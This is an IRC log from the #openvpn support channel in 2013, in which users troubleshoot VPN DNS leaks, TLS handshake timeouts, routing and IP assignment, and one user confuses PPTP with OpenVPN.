10:37 -!- tomboy_ [tomboy@gateway/shell/blinkenshell.org/x-ahwtvfzcuwtnmlal] has joined #openvpn
10:39 -!- Rumbles [~Rumbles@mail.solutiontelecom.co.uk] has quit [Ping timeout: 245 seconds]
10:40 < tomboy_> "Your ISP's DNS server returns IP addresses even for domain names which should not resolve" I thought my DNS requests were being routed through my paid VPn but clearly they're not. I only have a client, what can I do?
10:40 < tomboy_> *have control of the client*
10:41 < rob0> How do we know your DNS is not routed through the VPN?
10:47 < tomboy_> rob0 : I'm using ICSI Netalyzr CLI, build 54440. But, running it again doesn't show the complaint, it must've been that I thought I was tunneling when I wasn't last night.
10:47 < tomboy_> rob0: O, wait, I'm at a different connection today :/
10:49 < tomboy_> rob0: Yea, here I have the log I ran from inside my tunnel, on my home netwrok, and it says that my DNS resolver returns IP addresses for names that don't exist. I can attest to this, it sends me to a local ISP advertising page if I make a typo in the address bar of the browser.
10:50 < tomboy_> rob0: It's kind of scary to see this, I don't understand how it's happening. But I think perhaps Google fiber is to blame here.
10:51 < rob0> I bet your home network has a router which acts as DNS server. You're running openvpn behind the router. The openvpn client OS continues to use the router IP as resolver.
10:51 < rob0> Change the openvpn client OS resolver to something which would go through the VPN, such as 8.8.4.4 (Google public DNS.)
10:54 < tomboy_> rob0: nameserver 10.0.1.1
10:54  * tomboy_ does that thing where you make a clicking sound with your cheeck and then kind of wink.
10:58 -!- crane__ [~crane@static-87-79-93-178.netcologne.de] has quit [Quit: Verlassend]
11:00 -!- crane [~crane@static-87-79-93-178.netcologne.de] has joined #openvpn
11:09 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
11:09 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
11:10 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
11:15 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-snffkzqvqimxqpyw] has quit [Ping timeout: 240 seconds]
11:15 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-bjiuvroszupswppn] has joined #openvpn
11:16 -!- afenkart [~afenkart@ip-89-176-190-169.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
11:16 -!- master_of_master [~master_of@p4FF24385.dip0.t-ipconnect.de] has joined #openvpn
11:17 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
11:20 -!- master_o1_master [~master_of@p4FF244FA.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
11:28 -!- p3rror [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
11:44 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
11:56 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:57 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 240 seconds]
11:58 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 276 seconds]
12:01 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
12:01 -!- Devastator [~devas@186.214.110.147] has joined #openvpn
12:13 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Ping timeout: 264 seconds]
12:14 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
12:14 -!- afenkart [~afenkart@ip-89-176-190-169.net.upcbroadband.cz] has joined #openvpn
12:15 -!- [ilin] [~ilin@unaffiliated/ilin] has joined #openvpn
12:15 < [ilin]> !welcome
12:15 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
12:15 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
12:19 -!- afenkart [~afenkart@ip-89-176-190-169.net.upcbroadband.cz] has quit [Ping timeout: 276 seconds]
12:33 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
12:33 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
12:54 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
13:08 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Ping timeout: 246 seconds]
13:13 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:26 -!- CookieNinja [~carrot@unaffiliated/tommehm] has joined #openvpn
13:27 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:29 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Changing host]
13:29 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has joined #openvpn
13:30 -!- CookieNinja [~carrot@unaffiliated/tommehm] has quit [Remote host closed the connection]
13:30 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
13:33 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 268 seconds]
13:42 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 245 seconds]
13:45 -!- afenkart [~afenkart@ip-89-176-190-169.net.upcbroadband.cz] has joined #openvpn
14:06 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
14:06 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
14:06 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
14:08 -!- JSharpe [~JSharpe@10-253-3-31-anc.floodtel.net] has quit [Ping timeout: 268 seconds]
14:14 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
14:21 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
14:37 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Remote host closed the connection]
14:37 -!- afenkart [~afenkart@ip-89-176-190-169.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
14:38 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
14:48 -!- afenkart [~afenkart@ip-89-176-190-169.net.upcbroadband.cz] has joined #openvpn
14:50 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
14:51 < [ilin]> !ask
14:51 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
15:00 -!- Corey [~Corey@freenode/staff/corey] has joined #openvpn
15:00 < Corey> rob0!
15:01 <@krzee> happy birthday to our forum!
15:02 < rob0> the cake
15:02 < rob0> |_____|
15:02 < rob0>  !!!!!
15:03 < rob0> oops it's umop ap!sdn
15:04 < eval-> o.O
15:05 -!- nosuid [~nosuid@anon-37-228.vpn.ipredator.se] has joined #openvpn
15:05 -!- nosuid [~nosuid@anon-37-228.vpn.ipredator.se] has quit [Changing host]
15:05 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
15:06 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Client Quit]
15:06 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
15:11 -!- JSharpe [~JSharpe@h79-143-82-250.host.redstation.co.uk] has joined #openvpn
15:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:12 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has left #openvpn ["Konversation terminated!"]
15:18 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
15:20 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:21 < [ilin]> hi, if I am using topology subnet, is there a way to prevent/restrict the clients to change IPs manually? I know that with iptables I can control the access between the clients but the clients can still change the IP on the tun interface
15:27 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Quit: .]
15:28 < rob0> Did you try that? I don't think the openvpn server will accept from a client any packets which are not routed to that client.
15:29 < [ilin]> rob0: yes i did, if topology is subnet
15:29 < [ilin]> the client, once the tunnel is established can change the IP of the tunnel and it will still work
15:29 < [ilin]> with topology p2p and net30 this does not happen
15:30 < rob0> Can the server and other clients ping the changed client IP address?
15:31 < [ilin]> rob0: let me check, i only checked from the changed client
15:31 < [ilin]> one moment
15:34 < [ilin]> rob0: I either made a mistake before or it is fixed somehow
15:34 < [ilin]> when i change the IP now it does not work any more
15:35 < [ilin]> let me test a bit more
15:35 < [ilin]> rob0: thanks anyway
15:46 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
15:48 -!- afenkart [~afenkart@ip-89-176-190-169.net.upcbroadband.cz] has quit [Quit: afenkart]
15:51 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
15:56 -!- Denial [Denial@05417302.skybroadband.com] has quit []
15:57 -!- tw [~brassica@unaffiliated/tw-nym] has left #openvpn []
15:59 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
16:00 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Ping timeout: 260 seconds]
16:05 -!- crus` [~crusader@2001:44b8:319e:2900:342d:c27:de51:18a6] has quit [Read error: Connection reset by peer]
16:05 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 240 seconds]
16:06 -!- crus [~crusader@2001:44b8:319e:2900:342d:c27:de51:18a6] has joined #openvpn
16:06 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
16:12 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-crsptnzaqukhugsr] has quit [Quit: Bye]
16:16 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Quit: .]
16:16 -!- mirco [~mirco@p5080696D.dip0.t-ipconnect.de] has joined #openvpn
16:16 -!- dupondje [~dupondje@artemis.dupie.be] has quit [Ping timeout: 246 seconds]
16:18 -!- crus [~crusader@2001:44b8:319e:2900:342d:c27:de51:18a6] has quit [Ping timeout: 260 seconds]
16:19 -!- crus [~crusader@2001:44b8:319e:2900:342d:c27:de51:18a6] has joined #openvpn
16:23 -!- dupondje [~dupondje@artemis.dupie.be] has joined #openvpn
16:25 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-dfwuljlaaigujjha] has joined #openvpn
16:29 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
16:31 -!- crus [~crusader@2001:44b8:319e:2900:342d:c27:de51:18a6] has quit [Read error: Connection reset by peer]
16:36 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
16:37 -!- genial [~gfreenode@159.37-191-142.fiber.lynet.no] has left #openvpn []
16:42 -!- SuperGauntlet [~SuperGaun@unaffiliated/supergauntlet] has joined #openvpn
16:43 < SuperGauntlet> Does anyone know what might be causing TLS handshake errors?
16:43 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:43 < SuperGauntlet> I've set ufw to allow connections on port 1194
16:47 -!- crus [~crusader@2001:44b8:319e:2900:b5cf:63c2:c095:46c3] has joined #openvpn
16:49 -!- JSharpe [~JSharpe@h79-143-82-250.host.redstation.co.uk] has quit [Ping timeout: 276 seconds]
16:49 < SuperGauntlet> I've changed ports (and then set ufw to allow) and it still does not appear to work
16:50 -!- raidz is now known as raidz_away
16:51 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
16:52 < SuperGauntlet> client.conf: http://pastebin.com/wXavndvx
16:54 < SuperGauntlet> server.conf: http://pastebin.com/UqCbbJfg
16:58 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
17:01 < SuperGauntlet> and log from cat /var/log/syslog | grep vpn
17:01 < SuperGauntlet> http://pastebin.com/k6ybEPxY
17:05 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 264 seconds]
17:06 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
17:19 < Eugene> !timeout
17:19 <@vpnHelper> "timeout" is if you see TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity) then your problem is likely one of the following: either the server isnt running, your client is connecting to the wrong ip/port/protocol, the server's firewall/nat has an issue, or the client's isp blocks it
17:20 < Eugene> SuperGauntlet ^
17:20 < Eugene> That appears to be a client log; what's your server's log say?
17:20 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has left #openvpn []
17:20 < Eugene> Oh, nope.
17:20 < SuperGauntlet> that's what I got from /var/log/syslog
17:20 < Eugene> Client log
17:20  * Eugene had it backwards
17:20 < SuperGauntlet> oh you want the client log okay
17:21 < Eugene> Sorrry, I just got home from a fire. Brain is not clutched in properly.
17:21 < SuperGauntlet> no big deal
17:21 < SuperGauntlet> just a moment
17:22 < SuperGauntlet> http://pastebin.com/NGXjp94J
17:23 < Eugene> Looks like your server is getting the initial packet, but the return one isn't going back
17:24 < Eugene> Check that UFW(imo a piece of shit) is properly allowing them to OUTPUT as related,established
17:24 < SuperGauntlet> huh.
18:08 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
18:08 -!- Zenum [~znc@unaffiliated/zenum] has quit [Quit: ZEE EN CEE :>]
18:13 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
18:48 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 245 seconds]
19:11 -!- woshty [~woshty@no3.woshty.de] has left #openvpn []
19:31 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
19:41 < SuperGauntlet> Eugene: So using pptpd (as a test, I know it's broken) seems to work
19:42 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
19:54 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
19:59 -!- krapper [krapper@territory.krapper.net] has quit [Read error: Connection reset by peer]
19:59 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
19:59 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 240 seconds]
19:59 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
20:32 -!- dgeary2 [~debian@d110-33-209-101.mas801.nsw.optusnet.com.au] has joined #openvpn
20:41 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
20:46 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
20:47 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
20:47 -!- mode/#openvpn [+v s7r] by ChanServ
21:02 -!- mirco [~mirco@p5080696D.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
21:03 -!- mirco [~mirco@p50802986.dip0.t-ipconnect.de] has joined #openvpn
21:06 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Quit: quit irc]
21:06 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
21:06 -!- dgeary2 [~debian@d110-33-209-101.mas801.nsw.optusnet.com.au] has quit [Quit: Ex-Chat]
21:10 -!- Devastator [~devas@186.214.110.147] has quit [Changing host]
21:10 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
21:43 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:50 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 264 seconds]
21:51 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:23 -!- klein [~klein@unaffiliated/klein] has quit [Quit: Leaving]
22:58 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-bjiuvroszupswppn] has quit [Ping timeout: 245 seconds]
23:19 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
23:31 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
23:34 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
23:43 -!- sef [~sef@pool-108-18-43-132.washdc.fios.verizon.net] has quit [Ping timeout: 268 seconds]
--- Day changed Wed Aug 28 2013
00:09 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:13 -!- ele [~maarten@pinky.elexer.com] has quit [Read error: Operation timed out]
00:13 -!- ele [~maarten@pinky.elexer.com] has joined #openvpn
00:16 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
00:21 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-dmoquibiydoprlkh] has joined #openvpn
00:28 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 260 seconds]
00:40 -!- sef [~sef@pool-96-255-161-228.washdc.fios.verizon.net] has joined #openvpn
00:49 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Remote host closed the connection]
00:49 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Operation timed out]
00:54 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
00:57 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
00:58 -!- afenkart [~afenkart@ip-89-176-190-169.net.upcbroadband.cz] has joined #openvpn
01:04 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:04 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:04 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:09 -!- monk [~aknm@unaffiliated/aknm] has quit [Ping timeout: 264 seconds]
01:10 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:16 -!- SuperGauntlet [~SuperGaun@unaffiliated/supergauntlet] has quit [Quit: Leaving]
01:30 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-dmoquibiydoprlkh] has quit [Read error: Connection reset by peer]
01:31 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-miotckribuxrxwkk] has joined #openvpn
01:36 -!- johanbr [~johanbr@2605:6400:1:fed5:22:9052:3c4c:2e4f] has quit [Ping timeout: 245 seconds]
01:37 -!- afenkart [~afenkart@ip-89-176-190-169.net.upcbroadband.cz] has left #openvpn []
01:45 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:46 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
01:50 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
02:19 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
02:20 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
02:32 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has joined #openvpn
02:33 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
02:34 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-miotckribuxrxwkk] has quit [Ping timeout: 264 seconds]
02:36 -!- Guest27301 [unknown@shell.nethack.be] has joined #openvpn
02:38 -!- Guest27301 [unknown@shell.nethack.be] has left #openvpn []
02:40 -!- _nwonknu [unknown@shell.nethack.be] has joined #openvpn
02:40 < _nwonknu> hello
02:41 < _nwonknu> i use the following bit of configuration in my vpn (server) file:
02:41 < _nwonknu> push "route remote_host 255.255.255.255 net_gateway"
02:41 < _nwonknu> which works fine
02:41 < _nwonknu> the issue is that this route disappears when my interface goes down / laptop goes into sleep etc
02:41 < _nwonknu> and the vpn client does not add it back on a reconnect
02:42 < _nwonknu> (the reason i use this config is because i push routing for an external range, and the vpn-server is inside that particular range, so i exclude it)
02:48 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
02:48 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
02:48 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
02:58 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
03:17 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-bromayqostirttrr] has joined #openvpn
03:34 -!- mchou [~quassel@unaffiliated/mchou] has quit [Read error: Operation timed out]
04:03 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
04:11 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
04:17 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
04:18 -!- JSharpe [~JSharpe@h88-150-184-42.host.redstation.co.uk] has joined #openvpn
04:33 -!- tjz [~tjz@unaffiliated/tjz] has quit [Read error: Connection reset by peer]
04:33 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
05:12 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
05:20 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
05:21 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
05:21 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
05:22 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
05:22 -!- mode/#openvpn [+v s7r] by ChanServ
05:33 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
05:36 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
06:12 -!- takamich_ [~takamichi@83.170.117.176] has joined #openvpn
06:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Read error: Operation timed out]
06:13 -!- IamTrying [~IamTrying@d528F5C14.access.telenet.be] has joined #openvpn
06:14 < IamTrying> Hello how do i set two username for PPTP? this is my config: http://paste.ubuntu.com/6036238/
06:16 -!- takamich_ [~takamichi@83.170.117.176] has quit [Ping timeout: 246 seconds]
06:18 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
06:19 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:19 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
06:24 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
06:29 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 256 seconds]
07:02 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
07:04 -!- Devastatr [~devas@186.214.110.201] has joined #openvpn
07:04 -!- Devastatr [~devas@186.214.110.201] has quit [Changing host]
07:04 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
07:05 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
07:05 -!- Devastatr is now known as Devastator
07:10 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
07:12 -!- Rumbles [~Rumbles@host81-133-199-16.in-addr.btopenworld.com] has joined #openvpn
07:17 < IamTrying> Hello what is the meaning of applying in server.conf --persist-key,  --persist-tun ?
07:17 < IamTrying> --persist-key means what exactly please?
07:18 < IamTrying> --persist-key does it mean use without username password login such as key file?
07:18 < IamTrying> --persist-tun means what exactly?
07:21 -!- Rumbles [~Rumbles@host81-133-199-16.in-addr.btopenworld.com] has quit [Ping timeout: 241 seconds]
07:30 < kisom> IamTrying: Read the manual, it's all there.
07:32 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
07:35 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
07:35 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
07:38 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:41 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
07:44 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
07:45 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
07:51 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
07:53 -!- zvcvp [~claudiu@gw-bu-ro-gts-01.ioteo.net] has joined #openvpn
07:54 < IamTrying> kisom, i am sorry the manual for 2.2x do not mention those parameter references
07:54 < IamTrying> kisom, --persist-key is not mentioned in the whole manual
07:54 < IamTrying> kisom, https://community.openvpn.net/openvpn/wiki/Openvpn22ManPage  - searched for --persist-key but no details explained
07:55 <@vpnHelper> Title: Openvpn22ManPage – OpenVPN Community (at community.openvpn.net)
07:55 < IamTrying> http://paste.ubuntu.com/6036238/ - this is my configuration i need to setup VPN PPTP server for allowing username/password login from Windows 7 vpn dialer
07:56 < IamTrying> vpnHelper, ???
07:59 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Connection reset by peer]
08:02 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
08:04 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
08:05 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
08:05 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
08:13 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
08:14 < crane> hey, i got now my openvpn running with an dhcpd on it
08:15 < zzattack> sick
08:15 < crane> but if got a theoretical question, what happens if a client does not request a ip by using dhcp and getting an ip which is allready bind to another client?
08:15 <@plaisthos> crane: doom
08:16 < crane> and how can i prevent that? ^^
08:16 <@plaisthos> you should keep the range of the vpn and normal dhcp seperate
08:16 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:16 < crane> plaisthos, thx i will try that .9
08:16 < crane> :)
08:19 < crane> plaisthos, if the range of my openvpn server is full no new clients can connect right?
08:20 < crane> so this would be a way to stop other people to connect to my vpn?
08:20 < IamTrying> crane, is it PPTP ?
08:21 < IamTrying> crane, how do you setup PPTP server which can allow VPN Client to use username/password for login via Windows 7 VPN dialer?
08:21 < crane> IamTrying, i auth users by cert
08:22 < IamTrying> crane, http://paste.ubuntu.com/6036238/ - how you did that, this is my config for server not sure if its setup as cert
08:24 < crane> IamTrying, what is your goal? auth users by user/password?
08:24 < IamTrying> crane, YES Exactly main goal is that
08:24 < IamTrying> no cert/key/pem its horriable in many case for me, simply username/password to login in my VPN server
08:25 < crane> ah wait i forgott the password to my other vpn server
08:25 < IamTrying> OK - crane . waiting..
08:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 249 seconds]
08:28 < crane> crap... no idea... nevermind
08:28 < crane> what is the error?
08:28 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:28 < IamTrying> crane, can you connect to me using PPTP username/password ?
08:28 < IamTrying> crane, are u using windows or linux ?
08:28 < crane> linux
08:29 < IamTrying> crane, do you have VPN Client for PPTP ?
08:29 < crane> yep
08:29 < crane> i can try this
08:29 < crane> give me an ip
08:29 < crane> i will have a look
08:29 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
08:29 < IamTrying> crane, ok this is the server: 82.143.92.20 and username: demo and pass: demo
08:29 < IamTrying> plz try now
08:30 < IamTrying> crane, how can i verify you are logged in or not?
08:30 < crane> have alook into your log file
08:31 < IamTrying> crane, root@sun-M14xR2:/var/log# tail -f openvpnas.log # watching
08:31 < IamTrying> crane, seeing nothing
08:32 < IamTrying> is this you? 2013-08-28 15:29:59+0200 [-] OVPN 0 OUT: 'Wed Aug 28 13:29:59 2013 TCP connection established with 87.79.93.178:48550'
08:32 < crane> give me a sec
08:32 < IamTrying> OK
08:33 < zvcvp> Is it possible to route traffic between 2 lans connected through openvpn? But without nat.. only by pushing routes.
08:33 < IamTrying> zvcvp, yes
08:33 < IamTrying> zvcvp, maybe something with iptables -t nat -A POSTROUTING -s 10.44.77.0/24 -o eth0 -j MASQUERADE
08:35 < IamTrying> zvcvp, are you using PPTP or IPSec ?
08:36 < zvcvp> OpenVPN tun
08:38 < IamTrying> zvcvp, tun is not clear enough normally in VPN you have many type/methods which one you are using? 1) VPN Server mode lan to lan or remote dial in ? 2) Allowed dial in type: PPTP or IPSec or L2TP with IPSEc?
08:38 <@plaisthos> IamTrying: This channel is about OpenVPN
08:39 <@plaisthos> so you can assume that it is not PPTP or IPSec or L2TP or whatever but an OpenVPN VPN
08:39 < IamTrying> plaisthos, most of the Cisco/Juniper/Draytek have some standard i am expecting that only with OpenVPN (other standard do not fall or match with my configs)
08:40 <@plaisthos> IamTrying: OpenVPN is OpenVPN
08:40 <@plaisthos> If you want propertary VPN
08:40 <@plaisthos> with its own protocol
